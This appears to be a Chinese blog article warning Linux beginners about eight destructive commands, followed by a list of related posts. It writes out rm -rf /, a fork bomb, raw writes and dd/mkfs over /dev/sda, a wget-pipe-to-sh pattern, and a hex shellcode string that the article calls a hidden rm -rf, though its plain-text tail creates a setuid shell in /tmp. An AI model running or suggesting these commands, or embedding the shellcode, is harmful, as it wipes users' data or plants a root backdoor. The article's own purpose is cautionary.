1,rm -rf Command

rm -rf命令是删除文件夹及其内容的最快方法之一。但是一点点错字或失误可能会导致不可恢复的系统损坏。与rm命令一起使用的一些选项是:

rm 命令用于删除文件。rm -r命令以递归方式删除文件夹,甚至是空文件夹。rm -f命令在不询问的情况下删除“只读文件”。rm -rf /:强制删除根目录中的所有内容。rm -rf *:强制删除当前目录/工作目录中的所有内容rm -rf. :强制删除当前文件夹和子文件夹。rm -rf ~将删除主文件夹中的所有文件,而rm -rf .*将删除所有配置文件。

因此,执行rm -rf命令时要小心。如果通过'rm'命令来克服意外删除文件,可以在“.bashrc”文件中创建'rm'命令的别名为'rm -i',它会要求确认每次删除。

2,:(){:|:&};:

以上实际上是一个fork炸弹。它通过定义一个名为':'的函数来运行,该函数调用自身两次,一次在前台,一次在后台。它一直持续执行,直到系统冻结。

:(){:|:&};:

这短短的一行定义了一个shell函数,它可以创建自己的新副本。进程不断地复制自己,它的副本不断地复制自己,很快地占用了所有的CPU时间和内存。这会导致你的主机死机。这基本上是一种拒绝服务攻击。

3,command > /dev/sda

上面的命令将'command'的输出写入块/ dev / sda。它运行一个命令并将该命令的输出直接发送到第一个硬盘驱动器,将数据直接写入硬盘驱动器并损坏文件系统。

command - 运行命令(可以是任何命令。)/ dev / sda - 将命令的输出直接写入硬盘设备。

块上的所有文件将被原始数据替换,从而导致块上的数据完全丢失。

4,mv folder /dev/null

上面的命令会将'folder'移动到/ dev / null。在Linux ,dev / null或null是一个特殊文件,它丢弃写入它的所有数据并报告写操作成功。例如:

mv~ / dev / null - 将您的主目录移动到黑洞

mv - 将以下文件或目录移动到另一个位置。

〜 - 表示整个主文件夹。

/ dev / null - 将您的主文件夹移动到/ dev / null,销毁所有文件并删除原始副本。

5,wget http://example.com/something -O- | sh

上面的命令从Web下载脚本并将其发送到sh,后者执行脚本的内容。

wget -下载一个文件。

http://example.com/something——从这个位置下载文件。

| 将wget命令(您下载的文件)的输出直接发送到另一个命令。

sh -将文件发送到sh命令,如果是bash脚本,sh命令就会执行它。

如果您不确定脚本是什么,或者您不信任其来源,那么这可能很危险 - 不要运行不受信任的脚本。

6. mkfs.ext3 /dev/sda

上面的命令将格式化块'sda',你肯定会知道执行上述命令后你的Block(硬盘驱动器)将是新的,全新的!没有任何数据,将您的系统置于不可恢复的阶段。

mkfs.ext3 /dev/sda

总而言之,此命令可以等同于在Windows上运行格式c:它将擦除第一个分区上的文件并用新文件系统替换它们。

7,dd if=/dev/random of=/dev/sda

上面的命令将清除块sda并将随机垃圾数据写入块。

dd if=/dev/random of=/dev/sda

当然!您的系统将处于不一致且不可恢复的阶段。

8,被隐藏的命令

以下命令只是上面的第一个命令(rm -rf)。这里的代码以十六进制隐藏,以便无知的用户可能被欺骗。在终端中运行以下代码将擦除根分区。

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

这种被隐藏的危险命令,通常无法被检测到。你必须知道你在做什么以及结果会是什么。不要编译或者运行来自未知来源的代码。

长按订阅同类文章

开卷有益

陛下,赐我一个赞↓

八个最致命的Linux命令!相关推荐

  1. 7 个致命的 Linux 命令

    2019独角兽企业重金招聘Python工程师标准>>> 导读 如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令.以下是 7 个致命的 Linux 命 ...

  2. linux毁灭指令,那些致命的Linux命令

    本文介绍了您千万不要在系统上运行的那些Linux命令,因为它们对于您的Linux系统可能很致命.因此我想先指出一点,本文旨在让读者知道应避免执行以下任何命令.本文提到的所有命令可能会对您的系统及数据造 ...

  3. 危险,几条可致命的Linux命令!

    1. rm -rf 命令 rm -rf命令是删除文件夹及其内容最快的方式之一.仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏.下列是一些rm 命令的选项. rm 命令在Linux下通常用来删除文件 ...

  4. Linux学习总结(49)——应当竭力避免在系统中运行的 Linux 命令

    前言 如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令.以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在 ...

  5. Linux中什么命令显示vi缩写,Linux命令(八)——vi编辑器的使用

    vi编辑器是linux系统下的标准正文编辑器,有三种基本模式:命令行模式.插入模式和底行命令模式. 1.命令行模式:控制屏幕光标的移动,字符.字或行的删除,移动复制某区段及进入插入模式或底行命令模式下 ...

  6. Linux命令速查---kalrry

    Linux命令速查---kalrry 1.shell的作业控制 2.文件基本操作 ls cp mv rm ln 3.目录操作 cd pwd basename dirname mkdir rmdir 4 ...

  7. Linux命令大全总结(看这一篇就够了)

    Linux命令大全总结 1.操作系统基础知识 1.1.操作系统     在了解linux命令之前,我们先了解一点基本概念. 1.1.1.概念 操作系统(operating system 简称OS)是一 ...

  8. 计算机基础知识——Linux命令简介

    1.Linux操作系统基础知识 在了解linux命令之前,我们先了解一点基本概念. 1.1.操作系统概念 操作系统(operating system 简称OS)是一个大型的程序系统,他负责计算机的全部 ...

  9. 动画演示10个有趣但毫无用处的Linux命令

    来自:http://www.oschina.net/news/47132/10-funny-liunx-command Linux最强大的一个特征就是它有大量的各种小命令工具,这也可以称做是它最有趣的 ...

最新文章

  1. AI Debate2 | 李飞飞提「AI北极星」,卡尼曼指「系统 1」理解有误
  2. PHP 取302跳转后真实 URL 的两种方法
  3. Python之woe:woe库的简介、安装、使用方法之详细攻略
  4. Asp.net生成工作流、审批流的解决方案(asp.net workflow svg)
  5. dojo Quick Start/dojo入门手册--json
  6. Oracle不连续的值,如何实现查找上一条、下一条
  7. Codeblocks和gdb调试 (转)
  8. 面对挫折:给即将或已经遭受社会毒打的每一个人
  9. Zookeeper的一致性协议:Zab
  10. 当我们谈数据库时,是在谈什么?
  11. 网站测试自动化系统—收集测试结果
  12. Icode编程>>>图形化编程>>>1级训练场>>>基础训练【1】
  13. java中常量池存的是什么_Java中常量池是什么?Java常量池的介绍
  14. 容器安装 libx264
  15. hdu5208 Where is Bob 数位dp
  16. python实现程序自动运行的库_python tkiner实现自动打包程序
  17. IT技术人员 35岁 (转)
  18. 凝思软件冲刺深交所:年营收不足2亿 拟募资7.9亿
  19. 织梦图集php,dedecms织梦文章模型增加图集功能教程
  20. mt4软件怎么选对下载方式

热门文章

  1. 服务器维护简单的备份方案,服务器备份方案计划.doc
  2. 什么是php伪静态规则,php设置伪静态规则编写 问题
  3. 2021年度训练联盟热身训练赛第四场 H - Rock Paper Scissors(字符串匹配,FFT)
  4. 此时不应有java_Java 锁的知识总结及实例代码
  5. R语言 、Excel哪个更能胜任数据分析?
  6. Scrapy框架-去重原理讲解、数据收集以及信号量知识
  7. mybatis自动生成代码工具
  8. 菜单Menu(AS开发实战第四章学习笔记)
  9. FLUSH TABLES WITH READ LOCK
  10. rsync一:工作模式及语法